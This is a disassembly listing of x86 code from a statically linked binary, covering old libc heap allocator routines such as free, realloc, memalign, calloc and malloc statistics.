		mov	[esi+edi-4], esi
		cmp	[ebp+var_8], 0
		jnz	loc_805C4ED
		cmp	esi, 1FFh
		ja	short loc_805C404
		shr	esi, 3
		mov	[ebp+var_C], esi
		mov	eax, [ebp+var_C]
		test	eax, eax
		jge	short loc_805C3DA
		add	eax, 3

loc_805C3DA:				; CODE XREF: free+145j
		sar	eax, 2
		mov	ebx, 1
		mov	ecx, eax
		shl	ebx, cl
		mov	eax, ebx
		or	dword_8078B34, eax
		mov	ecx, [ebp+var_C]
		lea	ecx, ds:8078B34h[ecx*8]
		mov	[ebp+var_10], ecx
		mov	edx, [ecx+4]
		jmp	loc_805C4E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C404:				; CODE XREF: free+138j
		mov	eax, esi
		shr	eax, 9
		jnz	short loc_805C418
		mov	ebx, esi
		shr	ebx, 3
		mov	[ebp+var_C], ebx
		jmp	loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C418:				; CODE XREF: free+179j
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 4
		ja	short loc_805C430
		mov	ecx, esi
		shr	ecx, 6
		add	ecx, 38h
		mov	[ebp+var_C], ecx
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C430:				; CODE XREF: free+190j
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 14h
		ja	short loc_805C444
		add	eax, 5Bh
		mov	[ebp+var_C], eax
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C444:				; CODE XREF: free+1A8j
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 54h
		ja	short loc_805C45C
		mov	ebx, esi
		shr	ebx, 0Ch
		add	ebx, 6Eh
		mov	[ebp+var_C], ebx
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C45C:				; CODE XREF: free+1BCj
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 154h
		ja	short loc_805C478
		mov	ecx, esi
		shr	ecx, 0Fh
		add	ecx, 77h
		mov	[ebp+var_C], ecx
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C478:				; CODE XREF: free+1D6j
		mov	eax, esi
		shr	eax, 9
		cmp	eax, 554h
		ja	short loc_805C494
		mov	ebx, esi
		shr	ebx, 12h
		add	ebx, 7Ch
		mov	[ebp+var_C], ebx
		jmp	short loc_805C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C494:				; CODE XREF: free+1F2j
		mov	[ebp+var_C], 7Eh

loc_805C49B:				; CODE XREF: free+183j	free+19Dj ...
		mov	ecx, [ebp+var_C]
		lea	ecx, ds:8078B34h[ecx*8]
		mov	[ebp+var_10], ecx
		mov	edx, [ecx+4]
		cmp	edx, ecx
		jnz	short loc_805C4C8
		mov	eax, [ebp+var_C]
		mov	ecx, eax
		sar	ecx, 2
		mov	eax, 1
		shl	eax, cl
		or	dword_8078B34, eax
		jmp	short loc_805C4DE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C4C8:				; CODE XREF: free+21Dj	free+246j
		mov	eax, [edx]
		and	al, 0FCh
		cmp	esi, eax
		jnb	short loc_805C4D8
		mov	edx, [edx+4]
		cmp	[ebp+var_10], edx
		jnz	short loc_805C4C8

loc_805C4D8:				; CODE XREF: free+23Ej
		mov	ebx, [edx+8]
		mov	[ebp+var_10], ebx

loc_805C4DE:				; CODE XREF: free+234j
		mov	ecx, [ebp+var_10]

loc_805C4E1:				; CODE XREF: free+16Ej
		mov	[edi+8], ecx
		mov	[edi+4], edx
		mov	[ecx+4], edi
		mov	[edx+8], edi

loc_805C4ED:				; CODE XREF: free+Ej free+24j	...
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
free		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_805C518
		mov	edx, [ebp+0Ch]
		push	edx
		call	malloc
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C518:				; CODE XREF: .text:0805C505j
		mov	esi, [ebp+8]
		add	esi, 0FFFFFFFCh
		mov	[ebp-8], esi
		mov	edi, [ebp+8]
		mov	edi, [edi-4]
		and	edi, 0FFFFFFFCh
		mov	[ebp-10h], edi
		mov	[ebp-0Ch], edi
		cmp	dword ptr [ebp+0Ch], 0Bh
		jle	short loc_805C544
		mov	edx, [ebp+0Ch]
		add	edx, 0Bh
		and	dl, 0F8h
		mov	[ebp-4], edx
		jmp	short loc_805C54B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C544:				; CODE XREF: .text:0805C534j
		mov	dword ptr [ebp-4], 10h

loc_805C54B:				; CODE XREF: .text:0805C542j
		mov	edi, [ebp-8]
		test	byte ptr [edi],	2
		jz	short loc_805C5B8
		mov	edx, [ebp-4]
		push	edx
		push	edi
		call	sub_805BB64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	loc_805C7CD
		mov	edi, [ebp-4]
		cmp	[ebp-0Ch], edi
		jb	short loc_805C57C
		mov	eax, [ebp+8]
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C57C:				; CODE XREF: .text:0805C570j
		mov	edx, [ebp+0Ch]
		push	edx
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_805C746
		mov	eax, [ebp-0Ch]
		add	eax, 0FFFFFFFCh
		push	eax
		mov	edi, [ebp+8]
		push	edi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp-8]
		push	edx
		call	sub_805BB34
		mov	eax, ebx
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C5B8:				; CODE XREF: .text:0805C551j
		mov	edi, [ebp-4]
		cmp	[ebp-0Ch], edi
		jge	loc_805C78A
		mov	ecx, [ebp-8]
		add	ecx, [ebp-0Ch]
		cmp	dword_8078B38, ecx
		jz	short loc_805C5DC
		mov	eax, [ecx]
		and	al, 0FEh
		test	byte ptr [eax+ecx], 1
		jnz	short loc_805C64C

loc_805C5DC:				; CODE XREF: .text:0805C5D0j
		mov	ebx, [ecx]
		and	bl, 0FCh
		cmp	dword_8078B38, ecx
		jnz	short loc_805C628
		mov	esi, [ebp-10h]
		add	esi, ebx
		mov	eax, [ebp-4]
		add	eax, 10h
		cmp	esi, eax
		jl	short loc_805C650
		mov	eax, [ebp-8]
		add	eax, [ebp-4]
		mov	dword_8078B38, eax
		sub	esi, [ebp-4]
		mov	edx, esi
		or	dl, 1
		mov	[eax], edx
		mov	edi, [ebp-8]
		mov	eax, [edi]
		and	eax, 1
		or	eax, [ebp-4]
		mov	[edi], eax
		mov	eax, [ebp-8]
		add	eax, 4
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C628:				; CODE XREF: .text:0805C5E7j
		mov	edx, [ebp-10h]
		add	edx, ebx
		mov	[ebp-14h], edx
		mov	edi, [ebp-4]
		cmp	edx, edi
		jl	short loc_805C650
		mov	eax, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		mov	[ebp-10h], edx
		jmp	loc_805C78A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C64C:				; CODE XREF: .text:0805C5DAj
		xor	ecx, ecx
		xor	ebx, ebx

loc_805C650:				; CODE XREF: .text:0805C5F6j
					; .text:0805C635j
		mov	edx, [ebp-8]
		test	byte ptr [edx],	1
		jnz	loc_805C734
		sub	edx, [edx-4]
		mov	[ebp-14h], edx
		mov	esi, [edx]
		and	esi, 0FFFFFFFCh
		test	ecx, ecx
		jz	loc_805C6F4
		cmp	dword_8078B38, ecx
		jnz	short loc_805C6D8
		lea	eax, [esi+ebx]
		mov	ebx, [ebp-10h]
		add	ebx, eax
		mov	eax, [ebp-4]
		add	eax, 10h
		cmp	ebx, eax
		jl	short loc_805C6F4
		mov	eax, [edx+8]
		mov	ecx, [edx+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		mov	esi, [ebp-14h]
		mov	[ebp-10h], ebx
		lea	ebx, [esi+4]
		mov	eax, [ebp-0Ch]
		add	eax, 0FFFFFFFCh
		push	eax
		mov	edi, [ebp+8]
		push	edi
		push	ebx
		call	memcpy
		mov	edx, [ebp-4]
		add	edx, esi
		mov	dword_8078B38, edx
		mov	eax, [ebp-10h]
		sub	eax, [ebp-4]
		or	al, 1
		mov	[edx], eax
		mov	eax, [esi]
		and	eax, 1
		or	eax, [ebp-4]
		mov	[esi], eax
		mov	eax, ebx
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C6D8:				; CODE XREF: .text:0805C675j
		lea	eax, [esi+ebx]
		mov	ebx, [ebp-10h]
		add	ebx, eax
		cmp	[ebp-4], ebx
		jg	short loc_805C6F4
		mov	eax, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		jmp	short loc_805C704
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C6F4:				; CODE XREF: .text:0805C669j
					; .text:0805C687j ...
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_805C734
		mov	ebx, [ebp-10h]
		add	ebx, esi
		cmp	[ebp-4], ebx
		jg	short loc_805C734

loc_805C704:				; CODE XREF: .text:0805C6F1j
		mov	edi, [ebp-14h]
		mov	eax, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		mov	esi, [ebp-14h]
		mov	[ebp-10h], ebx
		lea	ebx, [esi+4]
		mov	eax, [ebp-0Ch]
		add	eax, 0FFFFFFFCh
		push	eax
		mov	edx, [ebp+8]
		push	edx
		push	ebx
		call	memcpy
		add	esp, 0Ch
		jmp	short loc_805C78A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C734:				; CODE XREF: .text:0805C656j
					; .text:0805C6F8j ...
		mov	edi, [ebp+0Ch]
		push	edi
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805C750

loc_805C746:				; CODE XREF: .text:0805C58Cj
		xor	eax, eax
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C750:				; CODE XREF: .text:0805C744j
		lea	esi, [ebx-4]
		mov	edx, [ebp-8]
		mov	eax, [edx]
		and	al, 0FEh
		add	eax, edx
		cmp	esi, eax
		jz	short loc_805C780
		mov	eax, [ebp-0Ch]
		add	eax, 0FFFFFFFCh
		push	eax
		mov	edi, [ebp+8]
		push	edi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		push	edi
		call	free
		mov	eax, ebx
		jmp	short loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C780:				; CODE XREF: .text:0805C75Ej
		mov	eax, [esi]
		and	al, 0FCh
		add	[ebp-10h], eax
		mov	esi, [ebp-8]

loc_805C78A:				; CODE XREF: .text:0805C5BEj
					; .text:0805C646j ...
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-4]
		cmp	ecx, 0Fh
		jbe	short loc_805C7BC
		mov	eax, [ebp-4]
		add	eax, esi
		mov	edx, [esi]
		and	edx, 1
		or	edx, [ebp-4]
		mov	[esi], edx
		mov	edi, ecx
		or	edi, 1
		mov	[eax], edi
		or	byte ptr [ecx+eax], 1
		add	eax, 4
		push	eax
		call	free
		jmp	short loc_805C7CD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C7BC:				; CODE XREF: .text:0805C793j
		mov	eax, [esi]
		and	eax, 1
		or	eax, [ebp-10h]
		mov	[esi], eax
		mov	edx, [ebp-10h]
		or	byte ptr [edx+esi], 1

loc_805C7CD:				; CODE XREF: .text:0805C564j
					; .text:0805C7B8j
		lea	eax, [esi+4]

loc_805C7D0:				; CODE XREF: .text:0805C510j
					; .text:0805C575j ...
		lea	esp, [ebp-20h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805C7DC	proc near		; CODE XREF: .text:0805C8F8p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	ebx, 8
		ja	short loc_805C7FC
		push	edx
		call	malloc
		jmp	loc_805C8E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C7FC:				; CODE XREF: sub_805C7DC+12j
		cmp	ebx, 0Fh
		ja	short loc_805C806
		mov	ebx, 10h

loc_805C806:				; CODE XREF: sub_805C7DC+23j
		cmp	edx, 0Bh
		jle	short loc_805C814
		lea	edi, [edx+0Bh]
		and	edi, 0FFFFFFF8h
		jmp	short loc_805C819
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C814:				; CODE XREF: sub_805C7DC+2Dj
		mov	edi, 10h

loc_805C819:				; CODE XREF: sub_805C7DC+35j
		lea	eax, [ebx+edi+10h]
		push	eax
		call	malloc
		mov	[ebp+var_4], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_805C834
		xor	eax, eax
		jmp	loc_805C8E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C834:				; CODE XREF: sub_805C7DC+4Fj
		mov	esi, [ebp+var_4]
		add	esi, 0FFFFFFFCh
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	ebx
		test	edx, edx
		jnz	short loc_805C858
		mov	eax, [ebp+var_4]
		test	byte ptr [eax-4], 2
		jz	short loc_805C8B8
		mov	eax, [ebp+var_4]
		jmp	loc_805C8E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C858:				; CODE XREF: sub_805C7DC+67j
		mov	eax, [ebp+var_4]
		lea	edx, [ebx+eax-1]
		mov	eax, ebx
		neg	eax
		and	edx, eax
		add	edx, 0FFFFFFFCh
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Fh
		ja	short loc_805C873
		add	edx, ebx

loc_805C873:				; CODE XREF: sub_805C7DC+93j
		mov	ebx, edx
		sub	edx, esi
		mov	ecx, [esi]
		and	cl, 0FCh
		sub	ecx, edx
		test	byte ptr [esi],	2
		jz	short loc_805C894
		add	edx, [esi-4]
		mov	[ebx-4], edx
		or	cl, 2
		mov	[ebx], ecx
		lea	eax, [ebx+4]
		jmp	short loc_805C8E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C894:				; CODE XREF: sub_805C7DC+A5j
		mov	eax, ecx
		or	al, 1
		mov	[ebx], eax
		or	byte ptr [ecx+ebx], 1
		mov	eax, [esi]
		and	eax, 1
		or	edx, eax
		mov	[esi], edx
		add	esi, 4
		mov	[ebp+var_4], esi
		push	esi
		call	free
		mov	esi, ebx
		add	esp, 4

loc_805C8B8:				; CODE XREF: sub_805C7DC+70j
		mov	edx, [esi]
		and	dl, 0FCh
		sub	edx, edi
		cmp	edx, 0Fh
		jle	short loc_805C8DE
		lea	eax, [edi+esi]
		or	dl, 1
		mov	[eax], edx
		mov	edx, [esi]
		and	edx, 1
		or	edx, edi
		mov	[esi], edx
		add	eax, 4
		push	eax
		call	free

loc_805C8DE:				; CODE XREF: sub_805C7DC+E6j
		lea	eax, [esi+4]

loc_805C8E1:				; CODE XREF: sub_805C7DC+1Aj
					; sub_805C7DC+53j ...
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805C7DC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		push	1000h
		call	sub_805C7DC
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805C904	proc near		; CODE XREF: authnone_create+16p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		imul	eax, [ebp+arg_4]
		push	eax
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805C924
		xor	eax, eax
		jmp	short loc_805C93D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C924:				; CODE XREF: sub_805C904+18j
		test	byte ptr [ebx-4], 2
		jnz	short loc_805C93B
		mov	eax, [ebx-4]
		and	al, 0FCh
		add	eax, 0FFFFFFFCh
		push	eax
		push	0
		push	ebx
		call	memset

loc_805C93B:				; CODE XREF: sub_805C904+24j
		mov	eax, ebx

loc_805C93D:				; CODE XREF: sub_805C904+1Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805C904	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805C944	proc near		; CODE XREF: free+82p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	eax, dword_8078B38
		mov	esi, [eax]
		and	esi, 0FFFFFFFCh
		mov	ebx, esi
		sub	ebx, [ebp+arg_0]
		add	ebx, 0FEFh
		mov	eax, ebx
		shr	eax, 0Ch
		lea	ebx, [eax-1]
		shl	ebx, 0Ch
		cmp	ebx, 1000h
		jl	short loc_805C9CC
		push	0
		mov	eax, dword_8078B30
		call	eax ; __default_morecore_init
		mov	edx, eax
		mov	eax, esi
		add	eax, dword_8078B38
		add	esp, 4
		cmp	edx, eax
		jnz	short loc_805C9CC
		mov	eax, ebx
		neg	eax
		push	eax
		mov	eax, dword_8078B30
		call	eax ; __default_morecore_init
		add	esp, 4
		test	eax, eax
		jnz	short loc_805C9D0
		push	0
		mov	eax, dword_8078B30
		call	eax ; __default_morecore_init
		mov	edx, eax
		mov	esi, edx
		sub	esi, dword_8078B38
		cmp	esi, 0Fh
		jle	short loc_805C9CC
		sub	edx, dword_8078F4C
		mov	dword_8078F58, edx
		mov	eax, dword_8078B38
		or	esi, 1
		mov	[eax], esi

loc_805C9CC:				; CODE XREF: sub_805C944+2Bj
					; sub_805C944+45j ...
		xor	eax, eax
		jmp	short loc_805C9E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C9D0:				; CODE XREF: sub_805C944+58j
		mov	edx, dword_8078B38
		mov	eax, esi
		sub	eax, ebx
		or	al, 1
		mov	[edx], eax
		sub	dword_8078F58, ebx
		mov	eax, 1

loc_805C9E9:				; CODE XREF: sub_805C944+8Aj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_805C944	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		test	eax, eax
		jnz	short loc_805CA04

loc_805C9FE:				; CODE XREF: .text:0805CA16j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805CA04:				; CODE XREF: .text:0805C9FCj
		lea	edx, [eax-4]
		test	byte ptr [eax-4], 2
		jnz	short loc_805CA18
		mov	eax, [eax-4]
		and	al, 0FEh
		test	byte ptr [eax+edx], 1
		jz	short loc_805C9FE

loc_805CA18:				; CODE XREF: .text:0805CA0Bj
		mov	eax, [edx]
		and	al, 0FCh
		add	eax, 0FFFFFFFCh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805CA24	proc near		; CODE XREF: malloc_stats+3p
					; .text:0805CC21p

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	eax, dword_8078B38
		mov	ebx, [eax]
		and	bl, 0FCh
		cmp	ebx, 0Fh
		setnle	al
		movzx	ecx, al
		mov	esi, offset dword_8078B3C
		mov	[ebp+var_8], 8
		mov	edx, dword_8078B44
		cmp	edx, offset dword_8078B3C
		jz	short loc_805CA6A
		lea	esi, [esi]

loc_805CA5C:				; CODE XREF: sub_805CA24+44j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_805CA5C

loc_805CA6A:				; CODE XREF: sub_805CA24+34j
		add	esi, 8
		add	[ebp+var_8], 8
		mov	edi, [ebp+var_8]
		mov	edx, dword_8078B3C[edi]
		cmp	edx, esi
		jz	short loc_805CA8E
		lea	esi, [esi]

loc_805CA80:				; CODE XREF: sub_805CA24+68j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_805CA80

loc_805CA8E:				; CODE XREF: sub_805CA24+58j
		add	esi, 8
		add	[ebp+var_8], 8
		mov	edi, [ebp+var_8]
		mov	edx, dword_8078B3C[edi]
		cmp	edx, esi
		jz	short loc_805CAB2
		lea	esi, [esi]

loc_805CAA4:				; CODE XREF: sub_805CA24+8Cj
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_805CAA4

loc_805CAB2:				; CODE XREF: sub_805CA24+7Cj
		add	esi, 8
		add	[ebp+var_8], 8
		cmp	esi, offset off_8078F34
		jz	loc_805CB62
		mov	edi, [ebp+var_8]
		add	edi, offset dword_8078B3C
		mov	[ebp+var_4], edi
		lea	esi, [esi+0]

loc_805CAD4:				; CODE XREF: sub_805CA24+138j
		mov	edi, [ebp+var_4]
		mov	edx, [edi]
		cmp	edx, esi
		jz	short loc_805CAEE
		lea	esi, [esi+0]

loc_805CAE0:				; CODE XREF: sub_805CA24+C8j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_805CAE0

loc_805CAEE:				; CODE XREF: sub_805CA24+B7j
		lea	edi, [esi+8]
		mov	[ebp+var_8], edi
		mov	edi, [ebp+var_4]
		mov	edx, [edi+8]
		cmp	[ebp+var_8], edx
		jz	short loc_805CB0F
		nop

loc_805CB00:				; CODE XREF: sub_805CA24+E9j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	[ebp+var_8], edx
		jnz	short loc_805CB00

loc_805CB0F:				; CODE XREF: sub_805CA24+D9j
		lea	edi, [esi+10h]
		mov	[ebp+var_8], edi
		mov	edi, [ebp+var_4]
		mov	edx, [edi+10h]
		cmp	[ebp+var_8], edx
		jz	short loc_805CB2F

loc_805CB20:				; CODE XREF: sub_805CA24+109j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	[ebp+var_8], edx
		jnz	short loc_805CB20

loc_805CB2F:				; CODE XREF: sub_805CA24+FAj
		lea	edi, [esi+18h]
		mov	[ebp+var_8], edi
		mov	edi, [ebp+var_4]
		mov	edx, [edi+18h]
		cmp	[ebp+var_8], edx
		jz	short loc_805CB4F

loc_805CB40:				; CODE XREF: sub_805CA24+129j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	[ebp+var_8], edx
		jnz	short loc_805CB40

loc_805CB4F:				; CODE XREF: sub_805CA24+11Aj
		add	esi, 20h
		add	[ebp+var_4], 20h
		cmp	esi, offset off_8078F34
		jnz	loc_805CAD4

loc_805CB62:				; CODE XREF: sub_805CA24+9Bj
		mov	dword_8078F5C, ecx
		mov	edi, dword_8078F58
		sub	edi, ebx
		mov	dword_8078F74, edi
		mov	dword_8078F78, ebx
		mov	eax, dword_8078F80
		mov	dword_8078F64, eax
		mov	eax, dword_8078F88
		mov	dword_8078F68, eax
		mov	eax, dword_8078B38
		mov	eax, [eax]
		and	al, 0FCh
		mov	dword_8078F7C, eax
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805CA24	endp

; [0000006F BYTES: COLLAPSED FUNCTION malloc_stats. PRESS KEYPAD "+" TO	EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		call	sub_805CA24
		mov	edi, ebx
		mov	esi, offset dword_8078F58
		cld
		mov	ecx, 0Ah
		repe movsd
		mov	eax, ebx
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	edx, [ebp+0Ch]
		cmp	eax, 0FFFFFFFDh
		jz	short loc_805CC88
		jg	short loc_805CC5C
		cmp	eax, 0FFFFFFFCh
		jz	short loc_805CC98
		jmp	short loc_805CCA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CC5C:				; CODE XREF: .text:0805CC52j
		cmp	eax, 0FFFFFFFEh
		jz	short loc_805CC78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805CCA8
		mov	dword_8078F3C, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CC78:				; CODE XREF: .text:0805CC5Fj
		mov	dword_8078F40, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CC88:				; CODE XREF: .text:0805CC50j
		mov	dword_8078F48, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CC98:				; CODE XREF: .text:0805CC57j
		mov	dword_8078F44, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CCA8:				; CODE XREF: .text:0805CC59j
					; .text:0805CC64j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805CCB0	proc near		; CODE XREF: sub_805D3A8+225p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_10]
		lea	eax, [ebp+var_4]
		push	eax
		call	__libc_time
		mov	ebx, ds:dword_807E398
		add	esp, 4
		test	ebx, ebx
		jz	short loc_805CCEA
		lea	esi, [esi+0]

loc_805CCD8:				; CODE XREF: sub_805CCB0+34j
		mov	eax, [ebx+18h]
		cmp	[ebp+var_4], eax
		jg	short loc_805CCE6
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_805CCD8

loc_805CCE6:				; CODE XREF: sub_805CCB0+2Ej
		test	ebx, ebx
		jnz	short loc_805CD14

